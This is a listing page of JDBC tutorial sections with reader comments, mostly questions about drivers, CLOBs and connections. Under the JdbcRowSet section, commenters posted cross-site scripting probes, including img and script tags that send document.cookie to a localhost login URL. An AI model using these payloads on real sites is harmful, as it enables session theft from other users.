< 1 2 3 4 > >>   Sort: Rank

Creating Connections with DataSource Class
This section describes how to create connection objects with the DataSource class.
2019-04-24, 226👍, 3💬

💬 2019-04-24 Hamdan: iam using jdbc 6

💬 2019-04-20 Herong: Hamdan, Which JDBC jar file are you using?

💬 2019-04-16 Hamdan: I have followed it according to the steps above, but I found a problem here Exception: class "com.microsoft.sqlserver.jdbc.ISQLS. ..

Listing All Schemas - getSchemas()
This section describes how to get a list of all schemas in the current database on the SQL Server through the DatabaseMetaData object.
2019-04-03, 1698👍, 2💬

💬 2019-03-31 Herong: challa, I have no idea why the catalog name is null.

💬 2019-03-26 challa: why is the catalog name null for sys tables..can we retreive that as well?

Creating Tables with AUTO_INCREMENT Columns
This section describes how to create a table with an AUTO_INCREMENT column.
2019-01-03, 2328👍, 4💬

💬 2016-01-22 gokul: useful

Retrieving CLOB Values with getClob() Method
This section describes how to retrieve CLOB values with the ResultSet.getClob() method.
2018-09-20, 5376👍, 2💬

💬 2018-09-20 sdsfsdfs: hello its me

💬 2015-12-04 asdadsads: hello its me

Listing All Tables - getTables()
This section describes how to get a list of all tables in the current database on the SQL Server through the DatabaseMetaData object.
2018-09-01, 3087👍, 2💬

💬 2018-09-01 Herong: Arthur, thanks for your comment.

💬 2018-08-31 Arthur: When executing this with Oracle it will work. Unless you have several schemas on that database. It will then give you all the ta...

Retrieving CLOB Values with getString() Method
This section describes how to retrieve CLOB values with the ResultSet.getString() method.
2018-09-01, 1005👍, 2💬

💬 2018-09-01 Herong: Srikanth, there should no size limitation. CLOB is designed to store very large character strings.

💬 2018-08-21 Srikanth: Is there any size limitation on getString() when used for clob column?

JDBC-ODBC Bridge Driver Features
This section describes Sun's JDBC-ODBC Bridge driver and its features.
2018-03-07, 4137👍, 7💬

💬 2018-03-07 rene: ok

💬 2017-09-13 claudio barto: download para testtes

💬 2017-07-14 nks: need jdbc odbc drver

💬 2017-03-02 Herong: rajendra, you may want to download and use JDK 1.7, which will allow you to create MS-Access connection. Or read the comments fr...

💬 2017-02-23 rajendra: hello,, need jdbc odbc bridge driver

(More comments ...)

JDBC-ODBC - Configuring SQL Server for TCP/IP Connection
This section describes how to configure SQL Server for TCP/IP connections.
2018-03-07, 482👍, 3💬

💬 2018-03-07 mohamed: Thanks

JDBC-ODBC - Creating a MS Access Database File
This section describes how to create a MS Access database file to be used for ODBC MS Access driver testing.
2018-02-07, 2920👍, 4💬

💬 2017-06-20 Musa: Hi

💬 2015-10-25 kaushal: nice job for solving jdbc connection problem

Retrieving BLOB Values with getBlob() Method
This section describes how to retrieve BLOB values with the ResultSet.getBlob() method.
2018-02-03, 346👍, 2💬

💬 2018-02-03 Herong: sibani, Thanks for the comment.

💬 2018-01-06 sibani: you made it so.. simple.Thank u

Creating Connections with DataSource Class
This section describes how to create connection objects with the DataSource class.
2018-01-25, 807👍, 1💬

💬 2018-01-25 subodh: very good example

Java DB (Derby) - PreparedStatement
This chapter provides tutorial notes on JDBC PreparedStatement with Java DB (Derby) JDBC Driver. Topics include creating PreparedStatement objects; setting PreparedStatement parameters; running PreparedStatement in batch mode; comparing PreparedStatement performance.
2017-09-01, 1463👍, 2💬

💬 2017-09-01 Herong: Try to find out yourself by running an insert statement in a loop.

💬 2017-08-29 Demo: hello sir, i want to know maximum line we can insert in derby database table

Inserting Rows with JdbcRowSet Objects
This section describes how to insert data rows with a JdbcRowSet object.
2017-08-24, 392👍, 4💬

💬 2017-08-24 d: &lt;img src=”http://localhost:8230/Sampl/log in.jsp?cookie='+document.cookie”alt=”pwned” height=”1” width=”1”/>

💬 2017-08-24 Hi: &lt;script>window.location='http ://localhost:8230/Sampl/login.jsp?co okie='+document.cookie&lt;/scrip t>

💬 2017-08-24 alert(document.cookie);<: &lt;script>alert(document.cookie );&lt;/script>

💬 2017-08-24 alert("Hello"): &lt;script>alert("Hello")&lt ;/script>

Listing All Databases - getCatalogs()
This section describes how to get a list of all databases on the SQL Server through the DatabaseMetaData object.
2017-08-21, 2206👍, 2💬

💬 2017-08-18 Herong: Rahui, run this program on MySQL, you will get the answer.

💬 2017-08-15 Rahul Hajare: Can this example usefull for mayql database please tell me fast... Thanks...

Java DB (Derby) - Inserting Data Rows to Existing Tables
This section describes how to insert new data rows into Java DB (Derby) database tables through the JDBC driver.
2017-08-05, 4993👍, 2💬

💬 2017-08-05 Herong: Stevoski, can you dump the Exception in the message dialog? It will give some clue on what happened to the execution.

💬 2017-08-03 Stevoski: is there any problem with these lines of code? all i get is invalid entry try{ String mk =jTextField1.getText(); String mn = jTe...

What Is ResultSet?
This section describes what is a ResultSet object.
2017-07-03, 162👍, 1💬

Java DB (Derby) - DML Statements
This chapter provides tutorial notes on executing DML statements with Java DB (Derby) JDBC Driver. Topics include inserting, updating and deleting data rows in existing tables; creating IDENTITY columns; handling date and timestamp values.
2017-06-18, 119👍, 1💬

MySQL CLOB (Character Large Object) - TEXT
This chapter provides tutorial notes on CLOB (Character Large Object) data types, TEXT, with MySQL JDBC Driver. Topics include creating tables to store CLOB values in MySQL server; inserting CLOB values with direct SQL INSERT statements, or PreparedStatement with setString(), setCharacterStream() or...
2017-06-12, 5340👍, 2💬

💬 2016-02-29 sasjkh: aposmu9pze9e9e9dudududududuoxnpduqwp oiudnxiopxpqwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww...

JDBC-ODBC - Loading sun.jdbc.odbc.JdbcOdbcDriver
This section describes how to load the JDBC-ODBC Bridge driver class with the Class.forName() method.
2017-06-06, 28421👍, 17💬

💬 2017-06-06 Panther: Need to run mdb server

💬 2017-04-24 Mukidi: hi

💬 2017-04-07 Herong: Yaiphaba, Are you referring to the Apache OpenOffice software?

💬 2017-04-02 yaiphaba: ddbc database driver class already installed andopen office

💬 2017-03-28 Hameed Ullah: i want to download this library

(More comments ...)

JDBC-ODBC - Connecting to MS Access Database Files
This section describes how to connect to a SQL Server 2005 through DSN with JDBC-ODBC Bridge.
2017-05-24, 9204👍, 5💬

💬 2017-05-24 sgat: thanks

💬 2016-11-04 ahmed: thanks

💬 2016-11-04 ahmed: sank you

💬 2015-11-06 Herong: Vous êtes bienvenue! ☺

💬 2015-11-06 azedine: merci pour votre aide

Retrieving CLOB Values with getCharacterStream() Method
This section describes how to retrieve CLOB values with the ResultSet.getCharacterStream() method.
2017-03-18, 775👍, 2💬

💬 2017-03-18 Herong: Saurin, I am glad this is helpful to you!

💬 2017-03-14 saurin: Thanks man! you save my day...

JDBC-ODBC - Inserting Data Rows to MS Access Database
This section describes how to insert new data rows into MS Access database through the JDBC-ODBC driver.
2017-03-17, 12231👍, 5💬

💬 2016-03-06 Morn: My Testing

💬 2015-08-10 ramya: this website is very useful

Installing AdventureWorksLT Sample Database
This section describes how to install AdventureWorksLT as a sample database on SQL Server.
2017-03-13, 4795👍, 5💬

💬 2017-03-13 Justme: Thank you so very, very much

💬 2017-01-31 Chriselle: Thank you! :)

💬 2016-08-30 Herong: browser, Sorry the title is outdated and needs to be updated to say AdventureWorks2014. Do you need help to install AdventureWor...

💬 2016-08-30 browser: Search brings up "Installing AdventureWorksLT Sample Database - Herong Yang" but when go to page it is for installing AdventureW...

Loading JDBC Driver Class - ojdbc16.jar
This section describes how to load the Oracle JDBC driver class - ojdbc14.jar.
2017-03-07, 7334👍, 3💬

💬 2017-03-07 yuguohui: study and work

💬 2016-08-02 Herong: mukesh, Which test code are you running? The test code in this tutorial is just to test how to load the JDBC driver JAR file. Yo...

💬 2016-08-01 mukesh: Do not connect to DB - Error:java.sql.SQLException: Listener refused the connection with the following error: ORA-12505, TNS:lis...

< 1 2 3 4 > >>   Sort: Rank